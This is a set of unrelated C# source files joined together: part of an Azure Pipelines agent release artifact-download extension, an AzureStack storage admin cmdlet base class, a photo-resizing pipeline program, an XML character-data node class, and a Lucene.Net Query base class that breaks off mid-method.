WorkerUtilities.GetVssConnection(executionContext); var releaseServer = new ReleaseServer(connection, TeamProjectId); IList<AgentArtifactDefinition> releaseArtifacts = releaseServer.GetReleaseArtifactsFromService(ReleaseId).ToList(); IList<AgentArtifactDefinition> filteredReleaseArtifacts = FilterArtifactDefintions(releaseArtifacts); filteredReleaseArtifacts.ToList().ForEach(x => Trace.Info($"Found Artifact = {x.Alias} of type {x.ArtifactType}")); return filteredReleaseArtifacts; } catch (Exception ex) { LogDownloadFailureTelemetry(executionContext, ex); throw; } } private async Task DownloadCommits( IExecutionContext executionContext, Guid teamProjectId, IList<AgentArtifactDefinition> agentArtifactDefinitions) { Trace.Entering(); Trace.Info("Creating commit work folder"); string commitsWorkFolder = GetCommitsWorkFolder(executionContext); // Note: We are having an explicit type here. For other artifact types we are planning to go with tasks // Only for jenkins we are making the agent to download var extensionManager = HostContext.GetService<IExtensionManager>(); JenkinsArtifact jenkinsExtension = (extensionManager.GetExtensions<IArtifactExtension>()).FirstOrDefault(x => x.ArtifactType == AgentArtifactType.Jenkins) as JenkinsArtifact; foreach (AgentArtifactDefinition agentArtifactDefinition in agentArtifactDefinitions) { if (agentArtifactDefinition.ArtifactType == AgentArtifactType.Jenkins) { Trace.Info($"Found supported artifact {agentArtifactDefinition.Alias} for downloading commits"); ArtifactDefinition artifactDefinition = ConvertToArtifactDefinition(agentArtifactDefinition, executionContext, jenkinsExtension); await jenkinsExtension.DownloadCommitsAsync(executionContext, artifactDefinition, commitsWorkFolder); } } } private string GetCommitsWorkFolder(IExecutionContext context) { string commitsRootDirectory = Path.Combine(ReleaseWorkingFolder, Constants.Release.Path.ReleaseTempDirectoryPrefix, Constants.Release.Path.CommitsDirectory); Trace.Info($"Ensuring commit work folder {commitsRootDirectory} exists"); var releaseFileSystemManager = HostContext.GetService<IReleaseFileSystemManager>(); releaseFileSystemManager.EnsureDirectoryExists(commitsRootDirectory); return commitsRootDirectory; } private async Task DownloadArtifacts(IExecutionContext executionContext, IList<AgentArtifactDefinition> agentArtifactDefinitions, string artifactsWorkingFolder) { Trace.Entering(); CreateArtifactsFolder(executionContext, artifactsWorkingFolder); executionContext.Output(StringUtil.Loc("RMDownloadingArtifact")); foreach (AgentArtifactDefinition agentArtifactDefinition in agentArtifactDefinitions) { // We don't need to check if its old style artifact anymore. All the build data has been fixed and all the build artifact has Alias now. ArgUtil.NotNullOrEmpty(agentArtifactDefinition.Alias, nameof(agentArtifactDefinition.Alias)); var extensionManager = HostContext.GetService<IExtensionManager>(); IArtifactExtension extension = (extensionManager.GetExtensions<IArtifactExtension>()).FirstOrDefault(x => agentArtifactDefinition.ArtifactType == x.ArtifactType); if (extension == null) { throw new InvalidOperationException(StringUtil.Loc("RMArtifactTypeNotSupported", agentArtifactDefinition.ArtifactType)); } Trace.Info($"Found artifact extension of type {extension.ArtifactType}"); executionContext.Output(StringUtil.Loc("RMStartArtifactsDownload")); ArtifactDefinition artifactDefinition = ConvertToArtifactDefinition(agentArtifactDefinition, executionContext, extension); executionContext.Output(StringUtil.Loc("RMArtifactDownloadBegin", agentArtifactDefinition.Alias, agentArtifactDefinition.ArtifactType)); // Get the local path where this artifact should be downloaded. string downloadFolderPath = Path.GetFullPath(Path.Combine(artifactsWorkingFolder, agentArtifactDefinition.Alias ?? string.Empty)); // download the artifact to this path. RetryExecutor retryExecutor = new RetryExecutor(); retryExecutor.ShouldRetryAction = (ex) => { executionContext.Output(StringUtil.Loc("RMErrorDuringArtifactDownload", ex)); bool retry = true; if (ex is ArtifactDownloadException) { retry = false; } else { executionContext.Output(StringUtil.Loc("RMRetryingArtifactDownload")); Trace.Warning(ex.ToString()); } return retry; }; await retryExecutor.ExecuteAsync( async () => { var releaseFileSystemManager = HostContext.GetService<IReleaseFileSystemManager>(); executionContext.Output(StringUtil.Loc("RMEnsureArtifactFolderExistsAndIsClean", downloadFolderPath)); releaseFileSystemManager.EnsureEmptyDirectory(downloadFolderPath, executionContext.CancellationToken); await extension.DownloadAsync(executionContext, artifactDefinition, downloadFolderPath); }); executionContext.Output(StringUtil.Loc("RMArtifactDownloadFinished", agentArtifactDefinition.Alias)); } executionContext.Output(StringUtil.Loc("RMArtifactsDownloadFinished")); } private void CreateArtifactsFolder(IExecutionContext executionContext, string artifactsWorkingFolder) { Trace.Entering(); RetryExecutor retryExecutor = new RetryExecutor(); retryExecutor.ShouldRetryAction = (ex) => { executionContext.Output(StringUtil.Loc("RMRetryingCreatingArtifactsDirectory", artifactsWorkingFolder, ex)); Trace.Error(ex); return true; }; retryExecutor.Execute( () => { executionContext.Output(StringUtil.Loc("RMCreatingArtifactsDirectory", artifactsWorkingFolder)); var releaseFileSystemManager = HostContext.GetService<IReleaseFileSystemManager>(); releaseFileSystemManager.EnsureEmptyDirectory(artifactsWorkingFolder, executionContext.CancellationToken); }); executionContext.Output(StringUtil.Loc("RMCreatedArtifactsDirectory", artifactsWorkingFolder)); } public override void InitializeJobExtension(IExecutionContext executionContext, IList<JobStep> steps, WorkspaceOptions workspace) { Trace.Entering(); ArgUtil.NotNull(executionContext, nameof(executionContext)); executionContext.Output(StringUtil.Loc("PrepareReleasesDir")); var directoryManager = HostContext.GetService<IReleaseDirectoryManager>(); ReleaseId = executionContext.Variables.GetInt(Constants.Variables.Release.ReleaseId) ?? 0; TeamProjectId = executionContext.Variables.GetGuid(Constants.Variables.System.TeamProjectId) ?? Guid.Empty; SkipArtifactsDownload = executionContext.Variables.GetBoolean(Constants.Variables.Release.SkipArtifactsDownload) ?? false; string releaseDefinitionName = executionContext.Variables.Get(Constants.Variables.Release.ReleaseDefinitionName); // TODO: Should we also write to log in executionContext.Output methods? so that we don't have to repeat writing into logs? // Log these values here to debug scenarios where downloading the artifact fails. executionContext.Output($"ReleaseId={ReleaseId}, TeamProjectId={TeamProjectId}, ReleaseDefinitionName={releaseDefinitionName}"); var releaseDefinition = executionContext.Variables.Get(Constants.Variables.Release.ReleaseDefinitionId); if (string.IsNullOrEmpty(releaseDefinition)) { string pattern = new string(Path.GetInvalidFileNameChars()) + new string(Path.GetInvalidPathChars()); Regex regex = new Regex(string.Format("[{0}]", Regex.Escape(pattern))); releaseDefinition = regex.Replace(releaseDefinitionName, string.Empty); } var releaseTrackingConfig = directoryManager.PrepareArtifactsDirectory( HostContext.GetDirectory(WellKnownDirectory.Work), executionContext.Variables.System_CollectionId, executionContext.Variables.System_TeamProjectId.ToString(), releaseDefinition); ReleaseWorkingFolder = releaseTrackingConfig.ReleaseDirectory; ArtifactsWorkingFolder = Path.Combine( HostContext.GetDirectory(WellKnownDirectory.Work), releaseTrackingConfig.ReleaseDirectory, Constants.Release.Path.ArtifactsDirectory); executionContext.Output($"Release folder: {ArtifactsWorkingFolder}"); // Ensure directory exist if (!Directory.Exists(ArtifactsWorkingFolder)) { Trace.Info($"Creating {ArtifactsWorkingFolder}."); Directory.CreateDirectory(ArtifactsWorkingFolder); } SetLocalVariables(executionContext, ArtifactsWorkingFolder); // Log the environment variables available after populating the variable service with our variables LogEnvironmentVariables(executionContext); if (SkipArtifactsDownload) { // If this is the first time the agent is executing a task, we need to create the artifactsFolder // otherwise Process.StartWithCreateProcess() will fail with the error "The directory name is invalid" // because the working folder doesn't exist CreateWorkingFolderIfRequired(executionContext, ArtifactsWorkingFolder); // log the message that the user chose to skip artifact download and move on executionContext.Output(StringUtil.Loc("RMUserChoseToSkipArtifactDownload")); Trace.Info("Skipping artifact download based on the setting specified."); } else { ReleaseArtifacts = GetReleaseArtifacts(executionContext); if (!ReleaseArtifacts.Any()) { CreateArtifactsFolder(executionContext, ArtifactsWorkingFolder); Trace.Info("No artifacts found to be downloaded by agent."); } } CheckForAvailableDiskSpace(executionContext); } private void CheckForAvailableDiskSpace(IExecutionContext executionContext) { try { var root = Path.GetPathRoot(ArtifactsWorkingFolder); foreach (var drive in DriveInfo.GetDrives()) { if (string.Equals(root, drive.Name, StringComparison.OrdinalIgnoreCase)) { var availableSpaceInMB = drive.AvailableFreeSpace / (1024 * 1024); if (availableSpaceInMB < 100) { executionContext.Warning(StringUtil.Loc("RMLowAvailableDiskSpace", root)); } break; } } } catch (Exception ex) { // ignore any exceptions during checking for free disk space Trace.Error("Failed to check for available disk space: " + ex); } } private void SetLocalVariables(IExecutionContext executionContext, string artifactsDirectoryPath) { Trace.Entering(); // Always set the AgentReleaseDirectory because this is set as the WorkingDirectory of the task. executionContext.Variables.Set(Constants.Variables.Release.AgentReleaseDirectory, artifactsDirectoryPath); // Set the ArtifactsDirectory even when artifacts downloaded is skipped. Reason: The task might want to access the old artifact. executionContext.Variables.Set(Constants.Variables.Release.ArtifactsDirectory, artifactsDirectoryPath); executionContext.Variables.Set(Constants.Variables.System.DefaultWorkingDirectory, artifactsDirectoryPath); } private void LogEnvironmentVariables(IExecutionContext executionContext) { Trace.Entering(); string stringifiedEnvironmentVariables = AgentUtilities.GetPrintableEnvironmentVariables(executionContext.Variables.Public); // Use LogMessage to ensure that the logs reach the TWA UI, but don't spam the console cmd window executionContext.Output(StringUtil.Loc("RMEnvironmentVariablesAvailable", stringifiedEnvironmentVariables)); } private void CreateWorkingFolderIfRequired(IExecutionContext executionContext, string artifactsFolderPath) { Trace.Entering(); if (!Directory.Exists(artifactsFolderPath)) { executionContext.Output($"Creating artifacts folder: {artifactsFolderPath}"); Directory.CreateDirectory(artifactsFolderPath); } } private ArtifactDefinition ConvertToArtifactDefinition(AgentArtifactDefinition agentArtifactDefinition, IExecutionContext executionContext, IArtifactExtension extension) { Trace.Entering(); ArgUtil.NotNull(agentArtifactDefinition, nameof(agentArtifactDefinition)); ArgUtil.NotNull(executionContext, nameof(executionContext)); var artifactDefinition = new ArtifactDefinition { ArtifactType = agentArtifactDefinition.ArtifactType, Name = agentArtifactDefinition.Name, Version = agentArtifactDefinition.Version }; artifactDefinition.Details = extension.GetArtifactDetails(executionContext, agentArtifactDefinition); return artifactDefinition; } private void LogDownloadFailureTelemetry(IExecutionContext executionContext, Exception ex) { var code = (ex is ArtifactDownloadException || ex is ArtifactDirectoryCreationFailedException || ex is IOException || ex is UnauthorizedAccessException) ? DownloadArtifactsFailureUserError : DownloadArtifactsFailureSystemError; var issue = new Issue { Type = IssueType.Error, Message = StringUtil.Loc("DownloadArtifactsFailed", ex) }; issue.Data.Add("AgentVersion", Constants.Agent.Version); issue.Data.Add("code", code); issue.Data.Add("TaskId", DownloadArtifactsTaskId.ToString()); executionContext.AddIssue(issue); } private IList<AgentArtifactDefinition> FilterArtifactDefintions(IList<AgentArtifactDefinition> agentArtifactDefinitions) { var definitions = new List<AgentArtifactDefinition>(); foreach (var agentArtifactDefinition in agentArtifactDefinitions) { if (agentArtifactDefinition.ArtifactType != AgentArtifactType.Custom) { definitions.Add(agentArtifactDefinition); } else { string artifactType = string.Empty; var artifactDetails = JsonConvert.DeserializeObject<Dictionary<string, string>>(agentArtifactDefinition.Details); if (artifactDetails.TryGetValue("ArtifactType", out artifactType)) { if (artifactType == null || artifactType.Equals("Build", StringComparison.OrdinalIgnoreCase)) { definitions.Add(agentArtifactDefinition); } } else { definitions.Add(agentArtifactDefinition); } } } return definitions; } } }
// ---------------------------------------------------------------------------------- // // Copyright Microsoft Corporation // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ---------------------------------------------------------------------------------- using System; using System.Management.Automation; using System.Net; using System.Net.Security; using Microsoft.Azure; using Microsoft.Azure.Commands.ResourceManager.Common; using Microsoft.Azure.Common.Authentication; using Microsoft.Azure.Common.Authentication.Models; using Microsoft.AzureStack.Management.StorageAdmin; using Microsoft.WindowsAzure.Commands.Utilities.Common; namespace Microsoft.AzureStack.Commands.StorageAdmin { /// <summary> /// Admin cmdlet base /// </summary> public abstract class AdminCmdlet : AzureRMCmdlet, IDisposable { private bool disposed; /// <summary> /// Storage Admin Management Client /// </summary> public StorageAdminManagementClient Client { get; set; } /// <summary> /// Subscription identifier /// </summary> [Parameter(Position = 0, ValueFromPipelineByPropertyName = true)] [ValidateNotNull] public string SubscriptionId { get; set; } /// <summary> /// Authentication token /// </summary> [Parameter(Position = 1, ValueFromPipelineByPropertyName = true)] [ValidateNotNull] public string Token { get; set; } /// <summary> /// Azure package admin URL /// </summary> [Parameter(Position = 2, ValueFromPipelineByPropertyName = true)] [ValidateNotNull] [ValidateAbsoluteUri] public Uri AdminUri { get; set; } /// <summary> /// Resource group name /// </summary> [Parameter(Position = 3, Mandatory = true, ValueFromPipelineByPropertyName = true)] [ValidateNotNull] public string ResourceGroupName { get; set; } /// <summary> /// Disable certification validation /// </summary> [Parameter] public SwitchParameter SkipCertificateValidation { get; set; } ~AdminCmdlet() { Dispose(false); } private RemoteCertificateValidationCallback originalValidateCallback; private static readonly RemoteCertificateValidationCallback unCheckCertificateValidation = (s, certificate, chain, sslPolicyErrors) => true; //TODO: take back the validation private void ValidateParameters() { if (string.IsNullOrEmpty(Token)) { if (DefaultContext == null) { throw new ApplicationException(Resources.InvalidProfile); } } else { // if token is specified, AdminUri is required as well. if (AdminUri == null || SubscriptionId == null) { throw new ApplicationException(Resources.TokenAndAdminUriRequired); } } } /// <summary> /// Initial StorageAdminManagementClient /// </summary> /// <returns></returns> protected override void BeginProcessing() { base.BeginProcessing(); originalValidateCallback = ServicePointManager.ServerCertificateValidationCallback; if (SkipCertificateValidation) { ServicePointManager.ServerCertificateValidationCallback = unCheckCertificateValidation; } ValidateParameters(); Client = GetClient(); } protected override AzureContext DefaultContext { get { if (DefaultProfile == null) { return null; } return DefaultProfile.Context; } } /// <summary> /// Dispose StorageAdminManagementClient /// </summary> /// <returns></returns> protected override void EndProcessing() { StorageAdminManagementClient client = Client; if (client != null) { client.Dispose(); } Client = null; if (SkipCertificateValidation) { if (originalValidateCallback != null) { ServicePointManager.ServerCertificateValidationCallback = originalValidateCallback; } } base.EndProcessing(); } protected override void ProcessRecord() { Execute(); base.ProcessRecord(); } protected virtual void Execute() { } /// <summary> /// Get token credentials /// </summary> /// <returns></returns> protected TokenCloudCredentials GetTokenCredentials() { return new TokenCloudCredentials(SubscriptionId, Token); } /// <summary> /// Dispose the resources /// </summary> /// <param name="disposing">Indicates whether the managed resources should be disposed or not</param> protected override void Dispose(bool disposing) { if (!disposed) { if (Client != null) { Client.Dispose(); Client = null; } disposed = true; } base.Dispose(disposing); } protected StorageAdminManagementClient GetClient() { // get client from azure session if token is null or empty if (string.IsNullOrEmpty(Token)) { return GetClientThruAzureSession(); } return new StorageAdminManagementClient( baseUri: AdminUri, credentials: new TokenCloudCredentials(subscriptionId: SubscriptionId, token: Token)); } private StorageAdminManagementClient GetClientThruAzureSession() { var context = DefaultContext; var armUri = context.Environment.GetEndpointAsUri(AzureEnvironment.Endpoint.ResourceManager); var credentials = AzureSession.AuthenticationFactory.GetSubscriptionCloudCredentials(context); if (string.IsNullOrEmpty(SubscriptionId)) { SubscriptionId = credentials.SubscriptionId; } return AzureSession.ClientFactory.CreateCustomClient<StorageAdminManagementClient>(credentials, armUri); } } }
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading.Tasks; using NMagickWand; using SizePhotos.Exif; using SizePhotos.Minification; using SizePhotos.PhotoReaders; using SizePhotos.PhotoWriters; using SizePhotos.ResultWriters; namespace SizePhotos { class Program { static readonly string[] PHOTO_EXTENSIONS = { ".jpg", ".nef" }; List<ProcessingContext> _errorContexts = new List<ProcessingContext>(); readonly object _lockObj = new object(); readonly SizePhotoOptions _opts; readonly PhotoPathHelper _pathHelper; readonly IResultWriter _writer; readonly PhotoProcessingPipeline _pipeline = new PhotoProcessingPipeline(); public Program(SizePhotoOptions opts) { _opts = opts; _pathHelper = _opts.GetPathHelper(); _writer = GetWriter(); } public static void Main(string[] args) { var opts = new SizePhotoOptions(); opts.Parse(args); var p = new Program(opts); p.Run(); } void Run() { if(!Directory.Exists(_opts.LocalPhotoRoot)) { throw new DirectoryNotFoundException(string.Concat("The picture directory specified, ", _opts.LocalPhotoRoot, ", does not exist. Please specify a directory containing photos.")); } if(File.Exists(_opts.Outfile)) { throw new IOException(string.Concat("The specified output file, ", _opts.Outfile, ", already exists. Please remove it before running this process.")); } BuildPipeline(); PrepareDirectories(); ResizePhotos(); if(_errorContexts.Count > 0) { var sep = new string('*', 50); Console.WriteLine(sep); Console.WriteLine("** Some files had errors, please review!"); Console.WriteLine(sep); foreach(var ctx in _errorContexts) { Console.WriteLine(ctx.SourceFile); foreach(var msg in ctx.ErrorMessages) { Console.WriteLine($" - {msg}"); } } Environment.Exit(1); } } void BuildPipeline() { if(_opts.FastReview) { // read _pipeline.AddProcessor(new RawTherapeePhotoReaderPhotoProcessor(_opts.Quiet, _pathHelper)); // write _pipeline.AddProcessor(new PhotoWriterPhotoProcessor(_opts.Quiet, "review", _pathHelper)); // terminate _pipeline.AddProcessor(new ContextTerminatorPhotoProcessor()); } else { // move source file _pipeline.AddProcessor(new MovePhotoProcessor(_opts.Quiet, "src", true)); // load metadata _pipeline.AddProcessor(new ExifPhotoProcessor()); // read _pipeline.AddProcessor(new RawTherapeePhotoReaderPhotoProcessor(_opts.Quiet, _pathHelper)); // strip metadata _pipeline.AddProcessor(new StripMetadataPhotoProcessor()); // write _pipeline.AddProcessor(new PhotoWriterFixedSizePhotoProcessor(_opts.Quiet, "xs_sq", 120, 160, _pathHelper)); _pipeline.AddProcessor(new PhotoWriterScalePhotoProcessor(_opts.Quiet, "xs", 120, 160, _pathHelper)); _pipeline.AddProcessor(new PhotoWriterScalePhotoProcessor(_opts.Quiet, "sm", 480, 640, _pathHelper)); _pipeline.AddProcessor(new PhotoWriterScalePhotoProcessor(_opts.Quiet, "md", 768, 1024, _pathHelper)); _pipeline.AddProcessor(new PhotoWriterPhotoProcessor(_opts.Quiet, "lg", _pathHelper)); _pipeline.AddProcessor(new PhotoWriterPhotoProcessor(_opts.Quiet, "prt", _pathHelper)); // minify _pipeline.AddProcessor(new MinifyPhotoProcessor("xs", 72, _pathHelper)); _pipeline.AddProcessor(new MinifyPhotoProcessor("sm", 72, _pathHelper)); _pipeline.AddProcessor(new MinifyPhotoProcessor("md", 72, _pathHelper)); _pipeline.AddProcessor(new MinifyPhotoProcessor("lg", 72, _pathHelper)); // terminate _pipeline.AddProcessor(new ContextTerminatorPhotoProcessor()); } } void PrepareDirectories() { var outputs = _pipeline.GetOutputProcessors(); foreach(var output in outputs) { var dir = output.OutputSubdirectory; if(Directory.Exists(_pathHelper.GetScaledLocalPath(dir))) { throw new IOException("At least one of the resize directories already exist. Please ensure you need to run this script, and if so, remove these directories."); } else { Directory.CreateDirectory(_pathHelper.GetScaledLocalPath(dir)); } } } void ResizePhotos() { var files = GetPhotos(); var vpus = Math.Max(Environment.ProcessorCount - 1, 1); _writer.PreProcess(_opts.CategoryInfo); MagickWandEnvironment.Genesis(); // try to leave a couple threads available for the GC var opts = new ParallelOptions { MaxDegreeOfParallelism = vpus }; Parallel.ForEach(files, opts, ProcessPhoto); MagickWandEnvironment.Terminus(); _writer.PostProcess(); } void ProcessPhoto(string file) { if(!_opts.Quiet) { Console.WriteLine($"Processing: {Path.GetFileName(file)}"); } var result = _pipeline.ProcessPhotoAsync(file).Result; // additional check to clean up any wands - in particular for errors if(result.Wand != null) { result.Wand.Dispose(); } lock(_lockObj) { if(result.HasErrors) { _errorContexts.Add(result); } else { _writer.AddResult(result); } } } IEnumerable<string> GetPhotos() { return Directory.GetFiles(_opts.LocalPhotoRoot) .Where(x => PHOTO_EXTENSIONS.Contains(Path.GetExtension(x), StringComparer.OrdinalIgnoreCase)) .OrderBy(x => x) .ToList(); } IResultWriter GetWriter() { if(_opts.InsertMode) { return new PgsqlInsertResultWriter(_opts.Outfile); } else if(_opts.UpdateMode) { return new PgsqlUpdateResultWriter(_opts.Outfile); } return new NoopResultWriter(); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. namespace Microsoft.Xml { using System; using System.Diagnostics; using System.Text; using Microsoft.Xml.XPath; // Provides text-manipulation methods that are used by several classes. public abstract class XmlCharacterData : XmlLinkedNode { private string _data; //base(doc) will throw exception if doc is null. protected internal XmlCharacterData(string data, XmlDocument doc) : base(doc) { _data = data; } // Gets or sets the value of the node. public override String Value { get { return Data; } set { Data = value; } } // Gets or sets the concatenated values of the node and // all its children. public override string InnerText { get { return Value; } set { Value = value; } } // Contains this node's data. public virtual string Data { get { if (_data != null) { return _data; } else { return String.Empty; } } set { XmlNode parent = ParentNode; XmlNodeChangedEventArgs args = GetEventArgs(this, parent, parent, _data, value, XmlNodeChangedAction.Change); if (args != null) BeforeEvent(args); _data = value; if (args != null) AfterEvent(args); } } // Gets the length of the data, in characters. public virtual int Length { get { if (_data != null) { return _data.Length; } return 0; } } // Retrieves a substring of the full string from the specified range. public virtual String Substring(int offset, int count) { int len = _data != null ? _data.Length : 0; if (len > 0) { if (len < (offset + count)) { count = len - offset; } return _data.Substring(offset, count); } return String.Empty; } // Appends the specified string to the end of the character // data of the node. public virtual void AppendData(String strData) { XmlNode parent = ParentNode; int capacity = _data != null ? _data.Length : 0; if (strData != null) capacity += strData.Length; string newValue = new StringBuilder(capacity).Append(_data).Append(strData).ToString(); XmlNodeChangedEventArgs args = GetEventArgs(this, parent, parent, _data, newValue, XmlNodeChangedAction.Change); if (args != null) BeforeEvent(args); _data = newValue; if (args != null) AfterEvent(args); } // Insert the specified string at the specified character offset. public virtual void InsertData(int offset, string strData) { XmlNode parent = ParentNode; int capacity = _data != null ? _data.Length : 0; if (strData != null) capacity += strData.Length; string newValue = new StringBuilder(capacity).Append(_data).Insert(offset, strData).ToString(); XmlNodeChangedEventArgs args = GetEventArgs(this, parent, parent, _data, newValue, XmlNodeChangedAction.Change); if (args != null) BeforeEvent(args); _data = newValue; if (args != null) AfterEvent(args); } // Remove a range of characters from the node. public virtual void DeleteData(int offset, int count) { //Debug.Assert(offset >= 0 && offset <= Length); int len = _data != null ? _data.Length : 0; if (len > 0) { if (len < (offset + count)) { count = Math.Max(len - offset, 0); } } string newValue = new StringBuilder(_data).Remove(offset, count).ToString(); XmlNode parent = ParentNode; XmlNodeChangedEventArgs args = GetEventArgs(this, parent, parent, _data, newValue, XmlNodeChangedAction.Change); if (args != null) BeforeEvent(args); _data = newValue; if (args != null) AfterEvent(args); } // Replace the specified number of characters starting at the specified offset with the // specified string. public virtual void ReplaceData(int offset, int count, String strData) { //Debug.Assert(offset >= 0 && offset <= Length); int len = _data != null ? _data.Length : 0; if (len > 0) { if (len < (offset + count)) { count = Math.Max(len - offset, 0); } } StringBuilder temp = new StringBuilder(_data).Remove(offset, count); string newValue = temp.Insert(offset, strData).ToString(); XmlNode parent = ParentNode; XmlNodeChangedEventArgs args = GetEventArgs(this, parent, parent, _data, newValue, XmlNodeChangedAction.Change); if (args != null) BeforeEvent(args); _data = newValue; if (args != null) AfterEvent(args); } internal bool CheckOnData(string data) { return XmlCharType.Instance.IsOnlyWhitespace(data); } internal bool DecideXPNodeTypeForTextNodes(XmlNode node, ref XPathNodeType xnt) { //returns true - if all siblings of the node are processed else returns false. //The reference XPathNodeType argument being passed in is the watermark that //changes according to the siblings nodetype and will contain the correct //nodetype when it returns. Debug.Assert(XmlDocument.IsTextNode(node.NodeType) || (node.ParentNode != null && node.ParentNode.NodeType == XmlNodeType.EntityReference)); while (node != null) { switch (node.NodeType) { case XmlNodeType.Whitespace: break; case XmlNodeType.SignificantWhitespace: xnt = XPathNodeType.SignificantWhitespace; break; case XmlNodeType.Text: case XmlNodeType.CDATA: xnt = XPathNodeType.Text; return false; case XmlNodeType.EntityReference: if (!DecideXPNodeTypeForTextNodes(node.FirstChild, ref xnt)) { return false; } break; default: return false; } node = node.NextSibling; } return true; } } }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using System; using System.Linq; using Lucene.Net.Index; using IndexReader = Lucene.Net.Index.IndexReader; namespace Lucene.Net.Search { /// <summary>The abstract base class for queries. /// <p/>Instantiable subclasses are: /// <list type="bullet"> /// <item> <see cref="TermQuery" /> </item> /// <item> <see cref="MultiTermQuery" /> </item> /// <item> <see cref="BooleanQuery" /> </item> /// <item> <see cref="WildcardQuery" /> </item> /// <item> <see cref="PhraseQuery" /> </item> /// <item> <see cref="PrefixQuery" /> </item> /// <item> <see cref="MultiPhraseQuery" /> </item> /// <item> <see cref="FuzzyQuery" /> </item> /// <item> <see cref="TermRangeQuery" /> </item> /// <item> <see cref="NumericRangeQuery{T}" /> </item> /// <item> <see cref="Lucene.Net.Search.Spans.SpanQuery" /> </item> /// </list> /// <p/>A parser for queries is contained in: /// <list type="bullet"> /// <item><see cref="Lucene.Net.QueryParsers.QueryParser">QueryParser</see> </item> /// </list> /// </summary> //[Serializable] //Disabled for https://github.com/dotnet/standard/issues/300 public abstract class Query : System.ICloneable { private float boost = 1.0f; // query boost factor /// <summary>Gets or sets the boost for this query clause to <c>b</c>. Documents /// matching this clause will (in addition to the normal weightings) have /// their score multiplied by <c>b</c>. The boost is 1.0 by default. /// </summary> public virtual float Boost { get { return boost; } set { boost = value; } } /// <summary>Prints a query to a string, with <c>field</c> assumed to be the /// default field and omitted. /// <p/>The representation used is one that is supposed to be readable /// by <see cref="Lucene.Net.QueryParsers.QueryParser">QueryParser</see>. However, /// there are the following limitations: /// <list type="bullet"> /// <item>If the query was created by the parser, the printed /// representation may not be exactly what was parsed. For example, /// characters that need to be escaped will be represented without /// the required backslash.</item> /// <item>Some of the more complicated queries (e.g. span queries) /// don't have a representation that can be parsed by QueryParser.</item> /// </list> /// </summary> public abstract System.String ToString(System.String field); /// <summary>Prints a query to a string. </summary> public override System.String ToString() { return ToString(""); } /// <summary> Expert: Constructs an appropriate Weight implementation for this query. /// /// <p/> /// Only implemented by primitive queries, which re-write to themselves. /// </summary> public virtual Weight CreateWeight(Searcher searcher) { throw new System.NotSupportedException(); } /// <summary> Expert: Constructs and initializes a Weight for a top-level query.</summary> public virtual Weight Weight(Searcher searcher) { Query query = searcher.Rewrite(this); Weight weight = query.CreateWeight(searcher); float sum = weight.GetSumOfSquaredWeights(); float norm = GetSimilarity(searcher).QueryNorm(sum); if (float.IsInfinity(norm) || float.IsNaN(norm)) norm = 1.0f; weight.Normalize(norm); return weight; } /// <summary>Expert: called to re-write queries into primitive queries. For example, /// a PrefixQuery will be rewritten into a BooleanQuery that consists /// of TermQuerys. /// </summary> public virtual Query Rewrite(IndexReader reader) { return this; } /// <summary>Expert: called when re-writing queries under MultiSearcher. /// /// Create a single query suitable for use by all subsearchers (in 1-1 /// correspondence with queries). This is an optimization of the OR of /// all queries. We handle the common optimization cases of equal /// queries and overlapping clauses of boolean OR queries (as generated /// by MultiTermQuery.rewrite()). /// Be careful overriding this method as queries[0] determines which /// method will be called and is not necessarily of the same type as /// the other queries. /// </summary> public virtual Query Combine(Query[] queries) { var uniques = new System.Collections.Generic.HashSet<Query>(); for (int i = 0; i < queries.Length; i++) { Query query = queries[i]; BooleanClause[] clauses = null; // check if we can split the query into clauses bool splittable = (query is BooleanQuery); if (splittable) { BooleanQuery bq = (BooleanQuery) query; splittable = bq.IsCoordDisabled(); clauses = bq.GetClauses(); for (int j = 0; splittable && j < clauses.Length; j++) { splittable = (clauses[j].Occur == Occur.SHOULD); } } if (splittable) { for (int j = 0; j < clauses.Length; j++) { uniques.Add(clauses[j].Query); } } else { uniques.Add(query); } } // optimization: if we have just one query, just return it if (uniques.Count == 1) { return uniques.First(); } BooleanQuery result = new BooleanQuery(true); foreach (Query key in uniques) { result.Add(key, Occur.SHOULD); } return result; } /// <summary> Expert: adds all terms occuring in this query to the terms set. Only /// works if this query is in its <see cref="Rewrite">rewritten</see> form. /// /// </summary> /// <throws> UnsupportedOperationException if this query is not yet rewritten </throws> public virtual void ExtractTerms(System.Collections.Generic.ISet<Term> terms) { // needs to be implemented by query subclasses throw new System.NotSupportedException(); } /// <summary>Expert: merges the clauses of a set of BooleanQuery's into a single /// BooleanQuery. /// /// <p/>A utility for use by <see cref="Combine(Query[])" /> implementations. /// </summary> public static Query MergeBooleanQueries(params BooleanQuery[] queries) { var allClauses = new System.Collections.Generic.HashSet<BooleanClause>(); foreach (BooleanQuery booleanQuery in queries) { foreach (BooleanClause clause in booleanQuery) { allClauses.Add(clause); } } bool coordDisabled = queries.Length == 0?false:queries[0].IsCoordDisabled(); BooleanQuery result = new BooleanQuery(coordDisabled); foreach(BooleanClause clause in allClauses) { result.Add(clause); } return result; } /// <summary>Expert: Returns the Similarity implementation to be used for this query. /// Subclasses may override this method to specify their own Similarity /// implementation, perhaps one that delegates through that of the Searcher. /// By default the Searcher's Similarity implementation is returned. /// </summary> public virtual Similarity GetSimilarity(Searcher searcher) { return searcher.Similarity; } /// <summary>Returns a clone of this query. </summary> public virtual System.Object Clone() { try { return base.MemberwiseClone(); } catch (System.Exception e) { throw new System.SystemException("Clone not supported: " + e.Message); } } public override int GetHashCode() { int prime = 31; int result = 1; result = prime * result + 